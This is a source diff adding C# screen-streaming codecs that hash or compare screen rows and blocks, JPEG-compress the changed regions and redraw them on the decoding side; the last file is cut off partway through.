@ -0,0 +1,35 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Text;
namespace StreamLibrary
{
public abstract class IVideoCodec
{
public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges);
public delegate void VideoDecodeProgress(Bitmap bitmap);
public delegate void VideoDebugScanningDelegate(Rectangle ScanArea);
public abstract event VideoCodeProgress onVideoStreamCoding;
public abstract event VideoDecodeProgress onVideoStreamDecoding;
public abstract event VideoDebugScanningDelegate onCodeDebugScan;
public abstract event VideoDebugScanningDelegate onDecodeDebugScan;
protected JpgCompression jpgCompression;
public abstract ulong CachedSize { get; internal set; }
public int ImageQuality { get; set; }
public IVideoCodec(int ImageQuality = 100)
{
this.jpgCompression = new JpgCompression(ImageQuality);
this.ImageQuality = ImageQuality;
}
public abstract int BufferCount { get; }
public abstract CodecOption CodecOptions { get; }
public abstract void CodeImage(Bitmap bitmap, Stream outStream);
public abstract Bitmap DecodeData(Stream inStream);
}
}

View File

@ -0,0 +1,324 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeCacheCodec : IUnsafeCodec
{
private const int BlockCount = 5;
private const int HashBlockCount = 8192;
public override ulong CachedSize
{
get { return 0; }
internal set { }
}
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 0; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; }
}
private Bitmap decodedBitmap;
private int EncodedWidth;
private int EncodedHeight;
private PixelFormat EncodedFormat;
private MurmurHash2Unsafe hasher;
private SortedList<int, SortedList<int, uint>> EncodeBuffer;
private Rectangle[] Offsets;
private BlockInfo[] EncodeHashBlocks;
private BlockInfo[] DecodeHashBlocks;
public ulong EncodedFrames { get; private set; }
public ulong DecodedFrames { get; private set; }
public UnsafeCacheCodec(int ImageQuality = 80)
: base(ImageQuality)
{
this.hasher = new MurmurHash2Unsafe();
this.Offsets = new Rectangle[BlockCount];
this.EncodeHashBlocks = new BlockInfo[HashBlockCount];
this.DecodeHashBlocks = new BlockInfo[HashBlockCount];
for (int i = 0; i < HashBlockCount; i++)
{
EncodeHashBlocks[i] = new BlockInfo();
DecodeHashBlocks[i] = new BlockInfo();
}
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
{
if (ImageSize.Width == 0 || ImageSize.Height == 0)
throw new ArgumentException("The width and height must be 1 or higher");
if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount)
throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount);
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
int Stride = ImageSize.Width * PixelSize;
int RawLength = Stride * ImageSize.Height;
if (EncodedFrames == 0)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
double size = (double)ImageSize.Width / (double)BlockCount;
//fix floating point here
for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size)
{
Offsets[i] = new Rectangle(j, 0, (int)size, 1);
}
EncodeBuffer = new SortedList<int, SortedList<int, uint>>();
for (int y = 0; y < ImageSize.Height; y++)
{
for(int i = 0; i < Offsets.Length; i++)
{
if (!EncodeBuffer.ContainsKey(y))
EncodeBuffer.Add(y, new SortedList<int, uint>());
if (!EncodeBuffer[y].ContainsKey(Offsets[i].X))
EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash
}
}
EncodedFrames++;
return;
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
List<HashBlock> ImageOffsets = new List<HashBlock>();
List<uint> ImageHashes = new List<uint>();
byte* pScan0 = (byte*)Scan0.ToInt32();
for (int i = 0; i < Offsets.Length; i++)
{
for (int y = 0; y < ImageSize.Height; y++)
{
Rectangle ScanRect = Offsets[i];
ScanRect.Y = y;
int offset = (y * Stride) + (ScanRect.X * PixelSize);
if (offset+Stride > Stride * ImageSize.Height)
break;
uint Hash = hasher.Hash(pScan0 + offset, (int)Stride);
uint BlockOffset = Hash % HashBlockCount;
BlockInfo blockInfo = EncodeHashBlocks[BlockOffset];
if (EncodeBuffer[y][ScanRect.X] != Hash)
{
if (!blockInfo.Hashes.ContainsKey(Hash))
{
int index = ImageOffsets.Count - 1;
if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y)
{
Rectangle rect = ImageOffsets[index].Location;
ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1);
}
else
{
ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
}
blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
ImageHashes.Add(Hash);
}
EncodeBuffer[y][ScanRect.X] = Hash;
}
}
}
if (ImageOffsets.Count > 0)
{
for (int i = 0; i < Offsets.Length; i++)
{
Rectangle TargetOffset = Offsets[i];
int Height = GetOffsetHeight(ImageOffsets, TargetOffset);
Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
int blockStride = PixelSize * TargetOffset.Width;
List<HashBlock> UsedOffsets = new List<HashBlock>();
for (int j = 0; j < ImageOffsets.Count; j++)
{
Rectangle rect = ImageOffsets[j].Location;
if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X)
continue; //error in 1440p, did not tested futher
for (int o = 0, offset = 0; o < rect.Height; o++)
{
int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
UsedOffsets.Add(ImageOffsets[j]);
}
}
TmpBmp.UnlockBits(TmpData);
TmpBmp.Dispose();
outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2);
if (UsedOffsets.Count > 0)
{
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2);
for (int j = 0; j < UsedOffsets.Count; j++)
{
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2);
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2);
outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4);
}
byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp);
outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4);
outStream.Write(CompressedImg, 0, CompressedImg.Length);
}
//TotalDataLength += (int)length + (4 * 5);
}
}
EncodedFrames++;
}
private int GetOffsetHeight(List<HashBlock> ImageOffsets, Rectangle rect)
{
int height = 0;
for (int i = 0; i < ImageOffsets.Count; i++)
{
if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X)
height += ImageOffsets[i].Location.Height;
}
return height;
}
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
//return decodedBitmap;
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
return null;
}
private class BlockInfo
{
public SortedList<uint, HashBlock> Hashes { get; private set; }
public BlockInfo()
{
Hashes = new SortedList<uint, HashBlock>();
}
}
private class HashBlock
{
public bool Cached { get; set; }
public uint Hash { get; set; }
public Rectangle Location { get; set; }
public HashBlock(uint Hash, bool Cached, Rectangle Location)
{
this.Hash = Hash;
this.Cached = Cached;
this.Location = Location;
}
public HashBlock()
{
}
}
private class ImageOffset
{
public Rectangle Location { get; set; }
public List<uint> Hashes { get; set; }
public ImageOffset()
{
this.Hashes = new List<uint>();
}
}
}
}

View File

@ -0,0 +1,308 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeCachedStreamCodec : IUnsafeCodec
{
public override ulong CachedSize
{
get;
internal set;
}
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 0; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.HasBuffers; }
}
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
private static Size CheckBlock = new Size(50, 50);
private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe();
private List<Frame> Frames = new List<Frame>();
public const int MAX_FRAMES = 120;
private ulong[] DecodeBuffer;
private Bitmap DecodedBitmap;
private List<Bitmap> DecodedFrames = new List<Bitmap>();
public UnsafeCachedStreamCodec(int ImageQuality)
: base(ImageQuality)
{
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
switch (Format)
{
case PixelFormat.Format24bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format.ToString());
}
Stride = ImageSize.Width * PixelSize;
RawLength = Stride * ImageSize.Height;
if (EncodedWidth == 0 && EncodedHeight == 0)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
return;
}
Frame frame = new Frame(ImageSize.Width, ImageSize.Height);
int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height);
int RawSizeUsed = 0;
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
List<Rectangle> ChangedBlocks = new List<Rectangle>();
for(int y = ScanArea.Y; y < ScanArea.Height; )
{
int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y;
for (int x = ScanArea.X; x < ScanArea.Width; )
{
int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x;
int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4;
decimal FinalHash = 0;
for (int h = 0; h < height; h++)
{
int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width);
FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride);
}
if(onCodeDebugScan != null)
onCodeDebugScan(new Rectangle(x, y, width, height));
bool FoundBlock = false;
decimal FoundHash = 0;
int FrameIndex = 0;
for (int i = 0; i < Frames.Count; i++)
{
decimal hash = Frames[i].GetHashBlock(x, y);
if (hash == FinalHash)
{
FrameIndex = i;
FoundBlock = true;
FoundHash = hash;
break;
}
}
frame.AddHashBlock(x, y, FinalHash);
if (!FoundBlock)
{
int index = ChangedBlocks.Count - 1;
Rectangle cBlock = new Rectangle(x, y, width, height);
if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X)
{
Rectangle rect = ChangedBlocks[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
ChangedBlocks[index] = cBlock;
}
/*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y)
{
Rectangle rect = ChangedBlocks[index];
int newHeight = cBlock.Height + rect.Height;
cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight);
ChangedBlocks[index] = cBlock;
}*/
else
{
ChangedBlocks.Add(cBlock);
}
RawSizeUsed += BlockStride * height;
}
x += width;
}
y += height;
}
//write all the blocks
for (int i = 0; i < ChangedBlocks.Count; i++)
{
Rectangle rect = ChangedBlocks[i];
int blockStride = PixelSize * rect.Width;
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Position;
long OldPos = outStream.Position;
base.jpgCompression.Compress(TmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
ChangedBlocks.Clear();
Frames.Add(frame);
if (Frames.Count > MAX_FRAMES)
Frames.RemoveAt(0);
}
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (DecodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
DecodedFrames.Add(DecodedBitmap);
return DecodedBitmap;
}
Rectangle rect;
Graphics g = Graphics.FromImage(DecodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return DecodedBitmap;
}
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
return new Bitmap(10, 10);
}
private class HashedBlock
{
public int X { get; private set; }
public int Y { get; private set; }
public int Width { get; private set; }
public int Height { get; private set; }
public int FrameIndex { get; private set; }
public HashedBlock(int x, int y, int width, int height, int FrameIndex)
{
this.X = x;
this.Y = y;
this.Width = width;
this.Height = height;
this.FrameIndex = FrameIndex;
}
public override string ToString()
{
return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex;
}
}
private class Frame
{
public decimal[,] HashBlocks { get; private set; }
public Frame(int ImageWidth, int ImageHeight)
{
this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2];
}
public void AddHashBlock(int x, int y, decimal Hash)
{
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
this.HashBlocks[x, y] = Hash;
}
public decimal GetHashBlock(int x, int y)
{
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
return this.HashBlocks[x, y];
}
}
}
}

View File

@ -0,0 +1,365 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeMiniCodec : IUnsafeCodec
{
public override ulong CachedSize
{
get;
internal set;
}
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
}
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
private byte[] EncodeBuffer;
private Bitmap decodedBitmap;
private Size CheckBlock { get { return new Size(50, 50); } }
public UnsafeMiniCodec(int ImageQuality = 100)
: base(ImageQuality)
{
}
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
{
lock (this.ImageProcessLock)
{
byte* pScan0 = (byte*)Scan0.ToInt32();
if (!outStream.CanWrite)
throw new Exception("Must have access to Write in the Stream");
int Stride = 0;
int RawLength = 0;
int PixelSize = 0;
FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support
switch (Format)
{
case PixelFormat.Format24bppRgb:
case PixelFormat.Format32bppRgb:
PixelSize = 3;
break;
case PixelFormat.Format32bppArgb:
case PixelFormat.Format32bppPArgb:
PixelSize = 4;
break;
default:
throw new NotSupportedException(Format + " is not supported.");
}
Stride = ImageSize.Width * PixelSize;
RawLength = Stride * ImageSize.Height;
//first frame
if (EncodeBuffer == null)
{
this.EncodedFormat = Format;
this.EncodedWidth = ImageSize.Width;
this.EncodedHeight = ImageSize.Height;
this.EncodeBuffer = new byte[RawLength];
fixed (byte* ptr = EncodeBuffer)
{
byte[] temp = null;
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
{
temp = base.jpgCompression.Compress(TmpBmp);
}
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
outStream.Write(temp, 0, temp.Length);
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
}
return;
}
if (this.EncodedFormat != Format)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight)
throw new Exception("Scan Area Width/Height cannot be greater then the encoded image");
List<Rectangle> Blocks = new List<Rectangle>(); //all the changes
fixed (byte* encBuffer = EncodeBuffer)
{
//1. Check for the changes in height
for (int y = ScanArea.Y; y < ScanArea.Height; y++)
{
Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width);
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
{
int index = Blocks.Count - 1;
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
Blocks[index] = cBlock;
}
else
{
Blocks.Add(cBlock);
}
}
}
//2. Capture all the changes using the CheckBlock
List<Rectangle> finalUpdates = new List<Rectangle>();
for (int i = 0; i < Blocks.Count; i++)
{
Rectangle scanBlock = Blocks[i];
//go through the Blocks
for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height)
{
for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width)
{
int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x;
int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y;
Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight);
if (onCodeDebugScan != null)
onCodeDebugScan(cBlock);
//scan the block from Top To Bottom and check for changes
bool FoundChanges = false;
for (int blockY = y; blockY < y + blockHeight; blockY++)
{
int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth);
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
{
FoundChanges = true;
break;
}
}
if (FoundChanges)
{
int index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
Rectangle rect = finalUpdates[index];
int newWidth = cBlock.Width + rect.Width;
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
finalUpdates[index] = cBlock;
}
else
{
finalUpdates.Add(cBlock);
}
}
}
}
}
//maybe a too hard algorithm but oh well
SortedList<int, SortedList<int, Rectangle>> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows();
List<Rectangle> FinalTemp = new List<Rectangle>();
for (int i = 0; i < Array.Values.Count; i++)
{
FinalTemp.AddRange(Array.Values[i].Values);
}
//fixup the height
for (int i = 0; i < FinalTemp.Count; )
{
if (FinalTemp.Count == 1)
{
FinalTemp.Add(FinalTemp[i]);
break;
}
if (i + 1 < FinalTemp.Count)
{
Rectangle curRect = FinalTemp[i];
Rectangle nextRect = FinalTemp[i + 1];
if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width)
{
FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height);
FinalTemp.RemoveAt(i + 1);
}
else
{
i++;
}
}
else
{
break;
}
}
//copy changes to the EncodeBuffer and Process the Output
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int TotalDataLength = 0;
for (int i = 0; i < FinalTemp.Count; i++)
{
Rectangle rect = FinalTemp[i];
int blockStride = PixelSize * rect.Width;
//copy changes to EncodeBuffer
for (int y = rect.Y; y < rect.Y + rect.Height; y++)
{
int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width);
NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes
}
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
offset += blockStride;
}
TmpBmp.UnlockBits(TmpData);
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Position;
long OldPos = outStream.Position;
base.jpgCompression.Compress(TmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
outStream.Position += length;
TmpBmp.Dispose();
TotalDataLength += (int)length + (4 * 5);
}
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
Blocks.Clear();
}
}
}
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
{
if (Length < 4)
return decodedBitmap;
int DataSize = *(int*)(CodecBuffer);
if (decodedBitmap == null)
{
byte[] temp = new byte[DataSize];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
}
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
if (DataSize > 0)
{
Graphics g = Graphics.FromImage(decodedBitmap);
for (int i = 4; DataSize > 0; )
{
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
int UpdateLen = *(int*)(bufferPtr + i + 16);
byte[] temp = new byte[UpdateLen];
fixed (byte* tempPtr = temp)
{
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
{
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
}
}
DataSize -= UpdateLen + (4 * 5);
i += UpdateLen + (4 * 5);
}
g.Dispose();
}
return decodedBitmap;
}
public override Bitmap DecodeData(Stream inStream)
{
byte[] temp = new byte[4];
inStream.Read(temp, 0, 4);
int DataSize = BitConverter.ToInt32(temp, 0);
if (decodedBitmap == null)
{
temp = new byte[DataSize];
inStream.Read(temp, 0, temp.Length);
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
return decodedBitmap;
}
List<Rectangle> updates = new List<Rectangle>();
Rectangle rect;
Graphics g = Graphics.FromImage(decodedBitmap);
Bitmap tmp;
byte[] buffer = null;
MemoryStream m;
while (DataSize > 0)
{
byte[] tempData = new byte[4 * 5];
inStream.Read(tempData, 0, tempData.Length);
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int UpdateLen = BitConverter.ToInt32(tempData, 16);
buffer = new byte[UpdateLen];
inStream.Read(buffer, 0, buffer.Length);
if (onDecodeDebugScan != null)
onDecodeDebugScan(rect);
m = new MemoryStream(buffer);
tmp = (Bitmap)Image.FromStream(m);
g.DrawImage(tmp, rect.Location);
tmp.Dispose();
m.Close();
m.Dispose();
DataSize -= UpdateLen + (4 * 5);
}
g.Dispose();
return decodedBitmap;
}
}
}

View File

@ -0,0 +1,473 @@
using StreamLibrary.src;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Text;
namespace StreamLibrary.UnsafeCodecs
{
public class UnsafeOptimizedCodec : IUnsafeCodec
{
private class PopulairPoint
{
public Rectangle Rect;
public int Score;
public Stopwatch LastUpdate;
public PopulairPoint(Rectangle rect)
{
this.Rect = rect;
this.Score = 0;
this.LastUpdate = Stopwatch.StartNew();
}
}
public override ulong CachedSize
{
get;
internal set;
}
public override int BufferCount
{
get { return 1; }
}
public override CodecOption CodecOptions
{
get { return CodecOption.RequireSameSize; }
}
public Size CheckBlock { get; private set; }
private object ImageProcessLock = new object();
private byte[] EncodeBuffer;
private Bitmap decodedBitmap;
private PixelFormat EncodedFormat;
private int EncodedWidth;
private int EncodedHeight;
private List<PopulairPoint> populairPoints;
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
//options
/// <summary> If a part in the image is been changing for the last x milliseconds it will be seen as a video </summary>
public uint AliveTimeForBeingVideo = 5000;
/// <summary> This will check if the video went away or stopped playing so it will refresh the other parts in the image </summary>
public uint ScreenRefreshTimer = 2000;
/// <summary> The size for being a video, if bigger or equal to the VideoScreenSize it must be a video </summary>
public Size VideoScreenSize = new Size(100, 100);
/// <summary>
/// Initialize a new object of UnsafeOptimizedCodec
/// </summary>
